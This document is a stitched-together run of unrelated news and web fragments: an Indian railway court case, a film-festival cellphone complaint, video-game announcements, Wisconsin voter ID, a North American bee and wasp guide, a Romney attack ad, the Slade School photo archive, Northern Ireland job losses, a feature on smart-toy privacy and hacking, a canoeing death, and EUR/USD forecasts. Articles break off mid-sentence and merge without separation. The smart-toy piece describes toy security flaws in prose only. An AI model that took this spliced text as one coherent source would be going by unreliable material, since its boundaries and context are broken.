said, adding that “the existing alignment is well-researched, well-investigated line where work is progressing successfully without any mishaps or problems.”The railways also said the committee did not hold discussions with officials and international experts working on the project. “The committee did not consider the voluminous documentation provided by the project team. The committee did not allow presentations from experts, and it did not provide any technical justification and logic supported by any calculations or analysis in support of its paper alignment,” it told the court.The Railway Board was the sole authority competent to take decisions, including track alignment.Asking the court to dismiss the PIL, the railways said that if “such administrative decisions continue to be challenged, it would open a Pandora’s Box, making other infrastructure projects prone to challenge and scrutiny thereby affecting the progress of work and as a consequence affecting development of the country at the instance of vested interests.”A movie blogger irate about cellphone usage during a Toronto International Film Festival screening called 911 to report the offense.
At a midnight screening Monday, FirstShowing.net blogger Alex Billington became increasingly annoyed by constant texting and emailing at a screening for press and film industry members. After first complaining to theatre managers, Billington took the extreme step of dialling the police.
He said the emergency dispatcher laughed at his complaint, but Billington took to Twitter to vent his anger. He claimed to be concerned that the movie, the horror film The Sacrament, was being pirated, and that “drastic measures” were called for in restoring moviegoing etiquette.
“I’m just trying to fight the good fight,” wrote Billington, “even if others don’t agree with my methods.”
Billington also noted on Twitter that the cellphone user in question wasn’t a first-time offender: In a tweet sent to a California DJ, he wrote that he had “confronted the same guy before last year,” noting that cellphone use during TIFF screenings is a “big issue.It’s got a book series that has sold 17 million units and an App that has achieved over 9 million downloads. Makes sense that Beast Quest will now be coming to our consoles then doesn’t it?
Announced today by Maximum Games and Coolabi Group is a thrilling action adventure title from the best selling fantasy book franchise – Beast Quest. Penned in for an Xbox One, PS4 and PC release come October 31st 2017, with the development team at Torus Games on board, Beast Quest will bring action, adventure and RPG elements to the masses.
Evoking the same sense of sprawling wonder found in the books, Beast Quest will take players on an epic journey to save the mythical land of Avantia from ruin. Dark magic has corrupted the towering, noble creatures of the realm, which players must overcome in action-packed boss battles – dodging, blocking and countering attacks while chaining combos and unleashing allies to turn the tide of combat. Meanwhile, spectacular environments with rich open-level design offer daring heroes opportunities to discover challenging quests, powerful upgrades, and ancient secrets hiding just beyond the horizon.
“The high-fantasy setting, characters and lore of Beast Quest are the perfect foundation for a modern adventure game on consoles,” said Christina Seelye, CEO of Maximum Games. “We’re building a gorgeous world true to this imaginative series that millions have come to love while giving fans of adventure games everywhere a unique experience to enjoy.” “The team at Maximum Games have taken great care to understand Beast Quest and why it inspires such passion from its followers,” said Valerie Fry, Director of Licensing for Coolabi Group. “This game represents a completely new way for fans to engage with this one-of-a-kind universe, and we’re thrilled to see it come to life!”
Beast Quest will be arriving in both physical and digital formats. We’ll be sure to remind you when that time comes.Editor's Note: This article was published before the latest U.S. Supreme Court decision pertaining to the state's voter ID law. For the latest information on this issue and a breakdown on what prospective voters will need before casting their ballots on Nov. 4, read this updated story.
With the mid-term election less than four weeks away, voter confusion in the state of Wisconsin is mounting following the reinstatement of a voter ID law.
So what exactly does a voter need in order to participate in the upcoming election? Here’s the lowdown:
There’s a chance voter ID won’t be enforced this election, but for now it may be best to assume otherwise.
The American Civil Liberties Union recently submitted an emergency petition to the U.S. Supreme Court asking for the voter ID law |
but other species resemble ants more closely.
We touched on some wasp vs. bee characteristics, citing the fact that bees feed on nectar and pollen, making them excellent pollinators, and that wasps are usually predators, eating other insects. Note that, even though they are largely predatory or parasitic, some species of wasps do help spread pollen inadvertently. It’s just that they are often far less hairy, so not as efficient as bees at this.
It’s also important to note that wasps do not make honey. They might live in paper nests that look like combs, but they’re meant to store larvae, not honey.
What is the difference between a wasp and a hornet? There isn’t one, essentially; all hornets are wasps. Hornets are a small subset of wasps that are usually not native to the United States. They’re relatives to the yellowjacket, which is another subset of large and predatory wasp. When it comes to a wasp vs. hornet, both can be a part of an unfortunate encounter, but hornets are well-known for being larger, more vicious, and not alone!
Hornets
Hornets are social wasps in the genera Vespa and Provespa: 25 species total. They’re typically larger and more dangerous than other forms of wasp. Adult hornets themselves prefer saps, rotting fruit, and honey. They attack other large insects and masticate them, feeding the parts to developing larvae.
Source: PiccoloNamek (Wikimedia Commons)
What is the difference between bees and hornets? They might have similar coloration, but it’s very important to know the difference between a hornet vs. bee. If ever accidentally encountering a swarm: Hornet stings can be more deadly to humans.
Hornets will systematically kill bees for their honey, sometimes destroying whole hives just for honey and larvae. About 30 Japanese hornets, for instance, can destroy a hive of 10,000 bees in about an hour. In a fight, hornets vs. bees, hornets, as excellent predators, usually win. There are exceptions, though.
Hornets are more damaging to humans too, as some species will burrow themselves into the pulp of certain fruits and then attack in defense when happened across. By-and-large, they will not attack when not provoked; however, they will be very aggressive in defending their nests if they feel it is in danger.
Compendium of Local Species of North America
Now that we have some of the basics out of the way, we can look at local types of bees. Pictures of bees can help us best see the variety of the different types of bees in North America. This is just a short introduction into what’s out there. In addition to bee types, we’ve also included common wasps and hornets.
DISCLAIMER: Please do not use this list to diagnose medical issues or consider taking down nests. This list is purely for educational purposes. If stung, contact a medical facility. If encountering an unknown nest or hive, contact your local animal control center.
Common North American Bees
Source: Richard Bartz (Wikimedia Commons)
Western Honey Bee
Apis mellifera
The Western or European honey bee is the most common honey bee in America. It stores a large quantity of honey over the winter and was one of the first-ever domesticated insects. It is the single most important pollinator for agriculture globally.
Source: Jeffrey W. Lotz (Wikimedia Commons)
Africanized Honey Bee
Hybrid of Apis mellifera and A.m. scutellata
The second of America’s two main honey bee types, this hybrid has been referred to as the “killer bee.” They are more reactive and defensive, giving victims about ten times the stings than European honey bees, and can chase a person a quarter of a mile.
Source: John Baker (Wikimedia Commons)
Golden Northern Bumblebee
Bombus fervidus
This important pollinator can be found across North America has seen a recent decline in population, and is quite vulnerable. A common question is “Do bumblebees make honey?” They do; however, they don’t produce nearly enough as other species to make them useful as honey producers.
Source: Insects Unlocked (Wikimedia Commons)
American Bumblebee
Bombus pensylvanicus
Native to the East coast of the U.S., this bumblebee is also, unfortunately, threatened. They have been deteriorating since the 1940s and have suffered from a lack of genetic diversity.
Source: Bob Peterson (Wikimedia Commons)
Common Eastern Bumblebee
Bombus impatiens
This resident of the East coast is fairly adaptable and can even live in suburban and urban landscapes successfully.
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Orchard Mason Bee
Osmia lignaria
Also known as the “blue orchard bee,” this non-social pollinator usually nests in reeds and natural holes rather than hives. They do not make honey.
Source: Beatriz Moisset (Wikimedia Commons)
Hornfaced Bee
Osmia cornifrons
A mason bee that was introduced to the U.S. from Japan, these solitary bees hide in holes in trees.
Source: Judy Gallagher (Flickr)
Eastern Carpenter Bee
Xylocopa virginica
With powerful jaws and mandibles, carpenter bees create tunnels out of wood. Luckily for us humans, they seem to dislike paint and finishers.
Source: Bob Peterson (Wikimedia Commons)
Southern Carpenter Bee
Xylocopa micans
The black-colored Southern carpenter bee is like most other carpenter bees, in that it is a solitary bee that doesn’t live in a colony.
Valley Carpenter Bee
Xylocopa varipuncta
This bee is special in that it can fly at high temperatures without overheating, making it ideal for the super-hot deserts of the southwestern U.S.
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Bellflower Resin Bee
Megachile campanulae
This bee use plant resins to form their nests.
Sweat Bees:
Sweat bees are a common name of various species that enjoy salty human sweat.
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Lasioglossum vierecki
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Lasioglossum leucozonium
Source: linsepatron (Wikimedia Commons)
Halictus rubicundus
Source: Mike (Wikimedia Commons)
Agapostemon texanus
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Alfalfa Leafcutter Bee
Megachile rotundata
Originally hailing from Europe, this tiny bee helps to pollinate several vegetables and sprouts, like carrots and alfalfa.
Source: Derrick Ditchburn (Wikimedia Commons)
Western Leafcutting Bee
Megachile perihirta
Living in the Western United States, this bee burrows in sand, soil, or rotted plants in small groups.
Squash Bee
Peponapis pruinosa
This species, also called the Eastern cucurbit bee, is a solitary species that’s fond of squash plants, gourds, and pumpkins.
Source: USGS Bee Inventory and Monitoring Lab (Flickr)
Southeastern Blueberry Bee
Habropoda laboriosa
This is a very efficient pollinator of wild blueberries in the Southern U.S., as it engages in the rare practice of buzz pollination, which dislodges more pollen with the exact vibration of its wings.
Common North American Wasp Species
Source: Beatriz Moisset (Wikimedia Commons)
Eastern Yellowjacket
Vespula maculifrons
Chances are, if you’ve sat outside at a good old American picnic and there’s something buzzing and bothering you, it’s likely a yellowjacket. These social wasps live in large colonies, are colored similarly to bees, and can inflict painful stings. They love dead insects, fruits, and, occasionally, sugary beverages.
Source: Marvin Smith (Wikimedia Commons)
Bald-Faced Hornet
Dolichovespula maculata
This species is not actually a “hornet,” but a wasp. It goes by many names, like “blackjacket,” “white-faced hornet,” and “bull wasp.” They live in colonies of about 500 workers and aggressively defend their nests.
Source: Barbara Eckstein (Flickr)
Potter Wasp
Eumenes fraternus
There are many types of potter wasps, but this local breed creates miniature pots out of mud, where it lays its egg. It also tosses in a live caterpillar, which its larvae feed on.
Source: Hectonichus (Wikimedia Commons)
Giant Ichneumon
Rhyssa persuasoria
Also known as the “sabre wasp,” this large wasp can sometimes be confused for a large mosquito.
Source: Davehood (Wikimedia Commons)
Tarantula Hawk
Pepsis grossa
Living in southern states like Texas, these wasps prey on... tarantulas?!
Common (North American Hornets)
Source: Richard Bartz (Wikimedia Commons)
European Hornet
Vespa crabro
The European hornet is the only true hornet found in North America. It’s known to kill honey bees (as in this picture). If you see its paper nest, be careful!
Unusual and Foreign Bee, Wasp, & Hornet Species
As globalization increases, it may be possible to see some foreign invasive species hit the skies. Most hornets and almost all sting-less bees are not native and not usually found in North America. How many types of bees are there? Well, there are at least 20,000 bees and many, many more forms of wasps. Luckily, the U.S. is not usually home to the largest or most dangerous varieties.
Source: NUMBER7isBEST (Wikimedia Commons)
For example, the most dangerous hornet is not from here: the Asian giant hornet (Vespa mandarinia). It’s a very large honey bee murderer, and can kill a human after a few different stings. In terms of just venom toxicity, though, neighbor Vespa luctuosa is just a hair worse, making it the most dangerous wasp. That being said, the Japanese Vespa mandarinia is responsible for more deaths.
Humans and Bees
What do bees do for humans? Well, if you like eating food, a great deal.
Bees are some of the most important pollinators, transferring pollen and seeds from flower to flower. In order for 30% of all crops to produce flowers and then fruit, cross-pollination needs to happen. If all bees died overnight, human beings would not survive, losing a third of all food sources: almonds, pumpkins, avocados, cucumbers, grapes, apples, watermelons, and coffee, just to name a few. That doesn’t even touch on other useful products like cotton and certain medicines.
So, how do honey bees help humans? It’s far beyond the ability to eat delicious honey.
And 25% of the managed bee population has died off since 1990.
While wasps are far less of a help and more of a nuisance in terms of agriculture, these insects are vital to keeping populations of other, more problematic species low.
So, before thwacking the offending buzzer, consider allowing the pests a safe escape route, if possible. Also, consider whether or not it’s totally necessary when considering removing a nest versus a beehive.
Risks to Honey Bee Populations
Since we now understand the honey bee’s importance to humans, it’s clear we need to do something about them. Are honey bees endangered? And why are they dying off?
Naturally, it depends on the species; today, most native species risk extinction.
There are many reasons, but the harsh pesticides used on crops are the most likely source of the issues. Neonicotinoids, which are widely used pesticides, are particularly to blame. Climate change has also had a hugely negative impact, and the combination of the two has been horrific for bee populations.
What can individuals do to help?
Well, for one, insisting on politicians and legislatures to take action to help bee population can help fight the issue of neonicotinoids. Encouraging conservation efforts in general is important to ensure we’ll still be able to eat in a few years. It can be also be helpful to create safe sources for pollen and nectar in urban settings, or bee gardens. Leave places for bees to rest and drink water as well, especially during heat waves.
A Note About Stings
Naturally, since some people are highly allergic to bees, it’s important to stay safe, even when trying to help out bee populations.
Why do bees sting humans? Bees and, for the most part, wasps, only sting when they feel threatened. It’s important to stay calm. Remember: Even one of the most painful hornet stings won’t immediately kill a human unless rapid anaphylactic shock results.
If you find you’re being pursued by an aggressive group of bees, wasps, or hornets, don’t scream or flail your arms, and use these steps. If you just encounter a bee or wasp and it’s not pursuing you, don’t swat at it and remain calm. Move away slowly, with your eyes and mouth closed if possible.
DISCLAIMER: Again, we must reiterate not to use our list to diagnose medical issues. If you have had a severe reaction to a bee, wasp, or hornet sting, contact a medical facility immediately.
When starting spring and summer activities outdoors, protecting yourself, your pets and children should be a top priority, especially if someone you love has an allergy to bee stings. If there is a known allergy, it may be important to have an EpiPen handy – know that, in some states, an ambulance will not be legally allowed to carry or administer an EpiPen. Consider building and staying near areas of your backyard that are covered by screens, such as a wooden gazebo. If you already have a gazebo or a shed, be sure to check it frequently for any holes or nests, especially before having an outdoor event.By By Yukio Strachan Jul 18, 2012 in Politics "Tricky Mitt" is his name and not releasing tax returns is his game, suggests a new TV ad launched Wednesday showing Mitt Romney morphing into Richard Nixon posing the question: "He's not a crook... right?" The liberal group may be taking its cue from Obama's re-election campaign, which has run its own ads asking what Romney could be hiding. Both seem to be seeking to leverage the ever-louder drumbeat from the president’s camp – and some Republicans – for Romney to disclose more of his tax returns, the Conservatives fretting about Romney's response to the barrage of attacks from Obama are focused mostly on the Republican's reluctance to shed more light on his personal fortune, estimated to be up to $250 million, Unlike most politicians seeking national office, Romney initially declined to release any of his tax returns. In January, under pressure from his opponents in the Republican primaries, he released his 2010 return and an estimate for 2011. (footage below) The ad isn't the first time the Republican presidential candidate has been compared to President Nixon over transparency issues. In an interview with CBS Radio News earlier this month, senior campaign adviser David Axelrod called Romney, "the most secretive candidate we've seen probably since Richard Nixon." The comparison plays into the Democrats' larger narrative that Romney is a dishonest politician who may be lying about his business record or hiding information about his taxes. In response to Axelrod's comments, the Romney campaign charged that the Obama campaign was trying to distract voters from the president's record on the economy. "With millions of Americans suffering in the Obama economy, it's no surprise that President Obama and his allies would resort to false, negative attacks in an attempt to distract Americans from the President's abysmal record," campaign spokeswoman Amanda Henneberg told CBS Radio News. In what CBS news says may be one of the harshest ads of the 2012 campaign season yet, the liberal grassroots group MoveOn compares Romney with former Republican President Richard Nixon, whose devotion to secrecy contributed to his impeachment and resignation in 1974.The liberal group may be taking its cue from Obama's re-election campaign, which has run its own ads asking what Romney could be hiding.Both seem to be seeking to leverage the ever-louder drumbeat from the president’s camp – and some Republicans – for Romney to disclose more of his tax returns, the Miami Herald says.Conservatives fretting about Romney's response to the barrage of attacks from Obama are focused mostly on the Republican's reluctance to shed more light on his personal fortune, estimated to be up to $250 million, Reuters reported.Unlike most politicians seeking national office, Romney initially declined to release any of his tax returns. In January, under pressure from his opponents in the Republican primaries, he released his 2010 return and an estimate for 2011. (footage below)The ad isn't the first time the Republican presidential candidate has been compared to President Nixon over transparency issues.In an interview with CBS Radio News earlier this month, senior campaign adviser David Axelrod called Romney, "the most secretive candidate we've seen probably since Richard Nixon."The comparison plays into the Democrats' larger narrative that Romney is a dishonest politician who may be lying about his business record or hiding information about his taxes.In response to Axelrod's comments, the Romney campaign charged that the Obama campaign was trying to distract voters from the president's record on the economy."With millions of Americans suffering in the Obama economy, it's no surprise that President Obama and his allies would resort to false, negative attacks in an attempt to distract Americans from the President's abysmal record," campaign spokeswoman Amanda Henneberg told CBS Radio News. More about Mitt Romney, Richard nixon, Moveon, Romney tax return More news from Mitt Romney Richard nixon Moveon Romney tax returnFrom Stanley Spencer and Ben Nicholson to Rachel Whiteread and Tacita Dean, London's Slade School of Fine Art has an impressive track record of training pioneers of the art world. But the fate of some of its lesser known alumni is something of a mystery.
What became of those who shared studio space and life drawing classes with the likes of Eduardo Paolozzi and Richard Hamilton is a question that has become the subject of a groundbreaking investigation that employs techniques never used before in art history. It is hoped the project will reveal an even richer history of the Slade and correct a western-centric bias in the art world.
The school has an archive of annual class photographs of fresh-faced students dating back to 1931. To the frustration of art historians, the names in the photographs are rarely identified, which is why the Slade is now turning to the collective wisdom of the internet.
The dusty collection of prints has been digitised and put online to allow former staff and students, as well as members of the public, to identify those in the photographs. "The field of art history has done very little with digital media," said Melissa Terras, director of the UCL's centre for digital humanities, who is co-running the archive project.
The class photos do not just show the Young British Artists – or YBAs – of their day; they also reveal artists on international scholarships from the rest of world whose work may well have been overlooked. It is the identity and careers of international art students in London in the 50s in particular that the Slade is especially interested in, Terras said.
One of the few photographs to have been properly labelled illustrates the breadth of artistic talent at the Slade. The class of 1953 included the painter Michael Andrews and Portuguese artist Paula Rego, who went on to marry the painter Victor Willing.
The teachers in the photograph are no less stellar. They include Graham Sutherland, William Coldstream, Henry Moore and Lucian Freud. Also in the photograph are Khalid Iqbal, who went on to be a celebrated landscape painter in his native Pakistan, and Sam Ntiro, the first east African artist to get a show in New York and Tanzania's former high commissioner to Britain.
"We're trying to capture those bits of historical ephemera before they disappear forever," Professor Susan Collins, the current head of the Slade, said. "We are leaving space for comments as well as identification, to help trigger memories and capture stories."
Collins pointed out that the father of modern Israeli sculpture, Yitzhak Danziger, studied at the Slade in the 1930s. "I seem to be tripping over Slade alumni wherever I go," she said, admitting she had previously had no idea that the founding father of Bangladeshi art, Zainul Abedin, was also a former student at the college.
"They [Danziger and Abedin] have gone on to be hugely influential in their own countries and we don't recognise them," Collins said. "We are really interested in using these photographs as a way of navigating those other art histories, and joining the dots. It is an opportunity to celebrate and acknowledge those histories."
"With a rise in interest and understanding of the global in contemporary art, it seems very timely to revisit these histories." She added: "The key driver for the initiative is to find a way to map the Slade diaspora. So as well as uncovering images over the years of the many well-known artists in this country who taught and studied at the Slade, we hope that we may discover more, lesser known histories of artists who may have made key contributions around the world."Dishonored 2, the follow-up to Arkane Studios' first-person assassin simulator, will be released Nov. 11 on PlayStation 4, Windows PC and Xbox One, publisher Bethesda Softworks announced today.
Arkane unveiled Dishonored 2 during Bethesda's E3 2015 press briefing. The game will feature two playable characters: Corvo Attano, the protagonist of the original Dishonored, and Emily Kaldwin, who was the young princess at the center of the first game. Once again, it will be possible to complete the game without killing anyone, and the story will change depending on the player's actions.
Dishonored was released in October 2012, and came in at No. 2 on Polygon's games of the year list for 2012. Bethesda will show off the first gameplay from its sequel during its E3 2016 news conference, which is just over a month away. The event will begin at 7 p.m. PT on Sunday, June 12.Five hundred jobs are to be lost in Northern Ireland with the closure of an oil field services company in Co Antrim and the latest in a series of job cuts at aerospace firm Bombardier.
Bombardier is planning to cut another 280 jobs at its Northern Ireland operations, the Unite union has said.
It is the latest in a series of redundancies as part of a five-year plan for the company to cut costs and increase profitability.
Meanwhile, 220 jobs are to go with the closure of Schlumberger's factory at Newtownabbey, on the northern outskirts of Belfast.
Schlumberger is a leading provider of equipment for oil and gas producing companies. The plant is set to shut down next year.
"Due to the current prolonged downturn in the Oil and Gas industry, Schlumberger's manufacturing plants globally are under-utilised and the company is considering a proposal to cease manufacturing, assembly and test activities in its Belfast plant during 2018," the company said.
"We completely understand the impact of this announcement on our employees and the local community.
"This is only a proposal at this stage and we will be conducting consultation with the union and our employee representatives to make every effort to try and mitigate as much as possible the impact on our employees."
Last year, Canadian-based Bombardier said it was cutting 1,000 jobs in Northern Ireland, around a fifth of its workforce there.
Bombardier, which employs almost 5,000 people in Belfast and accounts for 10% of Northern Ireland's manufacturing exports, is facing significant costs in the fallout with US aeronautics powerhouse Boeing.
A further 100 jobs were cut at the company's Belfast base last month.
The dispute with Boeing centres on allegations that Bombardier received subsidies allowing it to sell its C Series planes at below-market prices.
European aerospace giant Airbus announced last week that it will take a majority stake in Bombardier's marquee C-Series airliner programme.
However, Boeing has said that the C Series jets could still be hit with high US import duties, even if they are assembled in Alabama following the Airbus deal.
Around a quarter of the workforce in Belfast work on the C-Series, manufacturing the wings, and unions have been warning of pressures on other areas of Bombardier's work away from the C-Series.In January 1999, the president of Tiger Electronics, Roger Shiffman, was forced to issue a statement clearing the name of the company’s hottest new toy. “Furby is not a spy,” he announced to the waiting world.
Shiffman was speaking out after America’s National Security Agency (NSA) banned the toy from its premises. The ban was its response to a playground rumour that Furbies could be taught to speak, and therefore could record and repeat human speech. “The NSA did not do their homework,” said Shiffman at the time.
But if America’s security agencies are still in the habit of banning toys that can record, spy, and store private information, then the list of contraband items must be getting exceptionally long. Nearly 18 years after TE were forced to deny Furby’s secret agent credentials, EU and US consumer watchdogs are filing complaints about a number of WiFi and Bluetooth connected interactive toys, also known as smart toys, which have hit the shelves. Equipped with microphones and an internet connection, many have the power to invade both children’s and adults’ private lives.
***
“We wanted a smart toy that could learn and grow with a child,” says JP Benini, the co-founder of the CogniToys “Dino”, an interactive WiFi-enabled plastic dinosaur that can hold conversations with children and answer their questions. Benini and his team won the 2014 Watson Mobile Developer Challenge, allowing them to use the question-answering software IBM Watson to develop the Dino. As such, unlike the “interactive” toys of the Nineties and Noughties, Dino doesn’t simply reiterate a host of pre-recorded stock phrases, but has real, organic conversations. “We grew it from something that was like a Siri for kids to something that was more conversational in nature.”
In order for this to work, Dino has a speaker in one nostril and a microphone in the other, and once a child presses the button on his belly, everything they say is processed by the internet-connected toy. The audio files are turned into statistical data and transcripts, which are then anonymised and encrypted. Most of this data is, in Benini’s words, “tossed out”, but his company, Elemental Path, which owns CogniToys, do store statistical data about a child, which they call “Play Data”. “We keep pieces from the interaction, not the full interaction itself,” he tells me.
“Play Data” are things like a child’s favourite colour or sport, which are used to make a profile of the child. This data is then available for the company to view, use, and pass on to third parties, and for parents to see on a “Parental Panel”. For example, if a child tells Dino their favourite colour is “red”, their mother or father will be able to see this on their app, and Elemental Path will be able to use this information to, Benini says, “make a better toy”.
Currently, the company has no plans to use the data with any external marketers, though it is becoming more and more common for smart toys to store and sell data about how they are played with. “This isn’t meant to be just another monitoring device that's using the information that it gathers to sell it back to its user,” says Benini.
Sometimes, however, Elemental Path does save, store, and use the raw audio files of what a child has said to the toy. “If the Dino is asked a question that it doesn’t know, we take that question and separate it from the actual child that’s asking it and it goes into this giant bucket of unresolved questions and we can analyse that over time,” says Benini. It is worth noting, however, that Amazon reviews of the toy claim it is frequently unable to answer questions, meaning there is potentially an abundance of audio saved, rather than it being an occasional occurrence.
CogniToys have a relatively transparent Privacy Policy on their website, and it is clear that Benini has considered privacy at length. He admits that the company has been back and forth about how much data to store, originally offering parents the opportunity to see full transcripts of what their child had been saying, until many fed back that they found this “creepy”. Dino is not the first smart toy to be criticised in this way.
Hello Barbie is the world’s first interactive Barbie doll, and when it was released by Mattel in 2015, it was met with scorn by parents’ rights groups and privacy campaigners. Like Dino, the doll holds conversations with children and stores data about them which it passes back to the parents, and articles expressing concerns about the toy featured on CNN, the Guardian, and the New York Times. Despite Dino’s similarities, however, Benini’s toy received almost no negative attention, while Hello Barbie won the Campaign for a Commercial-Free Childhood’s prize for worst toy of the year 2015.
“We were lucky with that one,” he says, “Like the whole story of the early bird gets the worm but the second worm doesn’t get eaten. Coming second on all of this allowed us to be prepared to address the privacy concerns in greater depth.”
Nonetheless, Dino is in many ways essentially the same as Hello Barbie. Both toys allow companies and parents to spy on children’s private playtimes, and while the former might seem more troubling, the latter is not without its problems. A feature on the Parental Panel of the Dino also allows parents to see the exact wording of questions children have asked about certain difficult topics, such as sex or bullying. In many ways, this is the modern equivalent of a parent reading their child's diary.
“Giving parents the opportunity to side-step their basic responsibility of talking to, engaging with, encouraging and reassuring their child is a terrifying glimpse into a society where plastic dinosaurs rule and humans are little more than machines providing the babies for the reptile robots to nurture,” says Renate Samson, the chief executive of privacy campaign group Big Brother Watch. “We are used to technology providing convenience in our lives to the detriment of our privacy, but allowing your child to be taught, consoled and even told to meditate by a WiFi connected talking dinosaur really is a step in the wrong direction.”
***
Toy companies and parents are one thing, however, and to many it might seem trivial for a child’s privacy to be comprised in this way. Yet many smart toys are also vulnerable to hackers, meaning security and privacy are under threat in a much more direct way. Ken Munro, of Pen Test Partners, is an ethical hacker who exposed security flaws in the interactive smart toy “My Friend Cayla” by making her say, among other things, “Calm down or I will kick the shit out of you.”
“We just thought ‘Wow’, the opportunity to get a talking doll to swear was too good,” he says. “It was the kid in me. But there were deeper concerns.”
Munro explains that any device could connect to the doll over Bluetooth, provided it was in range, as the set-up didn’t require a pin or password. He also found issues with the encryption processes used by the company. “You can say anything to a child through the doll because there's no security,” he says. “That means you've got a device that can potentially be used to groom a child and that's really creepy.”
Pen Test Partners tells companies about the flaws they find with their products in a process they call “responsible disclosure”. Most of the time, companies are grateful for the information, and work through ways to fix the problem. Munro feels that Vivid Toy Group, the company behind Cayla, did a “poor job” at fixing the issue. “All they did was put one more step in the process of getting it to swear for us.”
It is one thing for a hacker to speak to a child through a toy and another for them to hear them. Early this year, a hack on baby monitors ignited such concerns. But any toy with speech recognition that is connected to the internet is also vulnerable to being hacked. The data that is stored about how children play with smart toys is also under threat, as Fisher Price found out this year when a security company managed to obtain the names, ages, birthdays, and genders of children who had played with its smart toys. In 2015, VTech also admitted that five million of its customers had their data breached in a hack.
“The idea that your child shares their playtime with a device which could potentially be hacked, leaving your child’s inane or maybe intimate and revealing questions exposed is profoundly worrying,” says Samson. Today, the US Electronic Privacy Information Center (EPIC) said in a statement that smart toys “pose an imminent and immediate threat to the safety and security of children in the United States”.
Munro says big brands are usually great at tackling these issues, but warns about smaller, cheaper brands who have less to lose than companies like Disney or Fisher Price. “I’m not saying they get it right but if someone does find a problem they’ve got a huge incentive to get it right subsequently,” he says of larger companies. Thankfully, Munro says that he found Dino to be secure. “I would be happy for my kids to play with it,” he says. “We did find a couple of bugs but we had a chat with them and they’re a good bunch. They aren’t perfect but I think they’ve done a hell of a lot of a better job than some other smart toy vendors.”
Benini appears alert to security and the credibility it gives his company. “We took the security very, very seriously,” he says. “We were still building our systems whilst these horror stories were coming about so I already set pipelines and parameters in place. With a lot of devices out there it seems that security takes a backseat to the idea, which is really unfortunate when you’re inviting these devices into your home.”
As well as being wary of smaller brands, Munro advises that parents should look out for Bluetooth toys without a secure pairing process (ie. any device can pair with the toy if near enough), and to think twice about which toys you connect to your WiFi. He also advises to use unique passwords for toys and their corresponding apps.
“You might think ‘It's just a toy, so I can use the same password I put in everything else’ – dog’s name, football club, whatever – but actually if that ever got hacked you’d end up getting all your accounts that use that same password hacked,” he says.
Despite his security advice, Munro describes himself as “on the fence” about internet-connected smart toys as a whole. “Most internet of things devices can be hacked in one way or another,” he says. “I would urge caution.”
***
Is all of this legal? Companies might not be doing enough ethically to protect the privacy of children, but are they acting responsibly within the confines of the law?
Benini explains that Dino complies with the United States Children's Online Privacy Protection Act (COPPA) of which there is no real equivalent in the UK. COPPA says that companies must have parental permission to collect personal information over the internet about children under 13 years of age. “We’ve tried to go above and beyond the original layout of COPPA,” says Benini, when describing CogniToys transparent privacy documents. Parents give their consent for Elemental Path to collect their children’s data when they download the app that pairs with the toy.
Dino bears a striking similarity to Amazon Echo and Google Home, smart speakers that listen out for commands and questions in your home. Everything that is said to Amazon Echo is recorded and sent to the cloud, and an investigation by the Guardian earlier this year discovered that this does not comply with COPPA. We are therefore now in a strange position whereby many internet of things home devices are legally considered a threat to a child’s privacy, whereas toys with the same capabilities are not. This is an issue because many parents may not actually be aware that they are handing over their children’s data when installing a new toy.
As of today, EU consumer rights groups are also launching complaints against certain smart toys, claiming they breach the EU Unfair Contract Terms Directive and the EU Data Protection Directive, as well as potentially the Toy Safety Directive. Though smart toys may be better regulated in Europe, there are no signs that the problem is being tackled in the UK.
At a time when the UK government are implementing unprecedented measures to survey its citizens on the internet and Jeremy Hunt wants companies to scour teens’ phones for sexts, it seems unlikely that any legislation will be enacted that protects children’s privacy from being violated by toy companies. Indeed, many internet of things companies – including Elemental Path – admit they will hand over your data to government and law enforcement officials when asked.
***
As smart toys develop, the threat they pose to children only becomes greater. The inclusion of sensors and cameras means even more data can be collected about children, and their privacy can and will be compromised in worrying ways.
Companies, hackers, and even parents are denying children their individual right to privacy and private play. “Children need to feel that they can play in their own place,” says Samson. It is worrying to set a precedent where children get used to surveillance early on. All of this is to say nothing of the educational problems of owning a toy that will tell you (rather than teach you) how to spell “space” and figure out “5+8”.
In a 1999 episode of The Simpsons, “Grift of the Magi”, a toy company takes over Springfield Elementary and spies on children in order to create the perfect toy, Funzo. It is designed to destroy all other toys, just in time for Christmas. Many at the time criticised the plot for being absurd. Like the show's prediction of President Trump, however, it seems that we are living in a world where satire slowly becomes reality.WATCH: Calgary fire-fighters are mourning the loss of 32-year-old Ryan Bjolverud, who drowned Sunday morning in a canoeing accident in BC. Jill Croteau reports.
CALGARY – Members of the Calgary Fire Department are mourning the loss of one of their own.
Calgary firefighter Ryan Bjolverud was killed in a canoeing accident in British Columbia on Sunday.
RCMP say Bjolverud and a friend were fishing in a canoe on Columbia Lake near the |
the traders around the world. The outlook takes into account the various factors which can affect the future price-action of EUR/USD. The factors to analyze the outlook are geo-political news, fundamentals including major economic releases and technical factors but most importantly we focus on the price-action analysis.
The outlook reflects our views for short-term to mid-term movement. However, sometimes the analysis takes into account the price-data which may span many years and have a longer-term view. This is also supported by our very popular chart alerts.
The weekly analysis includes the predictions for the next week's expected moves for the euro and US dollar. However, the forecast is not only limited to the coming week but is applicable for the overall expectations for the near-term to longer-term. Apart from the weekly forecasts we also update EUR/USD daily technical analysis, which presents our views about the price-action from short-term perspective.
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EUR/USD breaks out of 7 months pattern
Read more » In the "Alerts - Observations - Watch Outs" sub-forum of our Forex forum section we had been talking about the ascending triangle pattern of EUR/USD. In the last alert we had indicated the following: "Any decisive break below 1.1060 should extend the decline to test the 1.1000 to 1.1020 support first and then possibly more.
15 years of EUR/USD in Nut & Shell - Expect Further Decline
Read more » Past 8 months' price action of EUR/USD has seen an ascending triangle formation emerging up. Now as far as any triangle chart pattern is concerned, a break out can be on either side. However, we are in favor of a downward breakout and some further decline. The first reason is that the 17 months' fall of the pair completely failed to even complete the 38.2% Fibonacci retracement level.
EUR/USD Daily Analysis - July 29, 2015
Read more » Current Exchange Rate: 1.1065 at the time of analysis update. Intraday overall outlook:. From trading point of view i.e.
EUR/USD Daily Analysis - July 27, 2015
Read more » Current Exchange Rate: 1.1074 at the time of analysis update. Intraday overall outlook:. Today was the fifth time during past one month that EUR/USD tried to test 200-day moving average resistance and struggled against it. We expect this resistance to hold and if it does the we expect another decline. On the upside we expect resistance to hold below 1.1120.
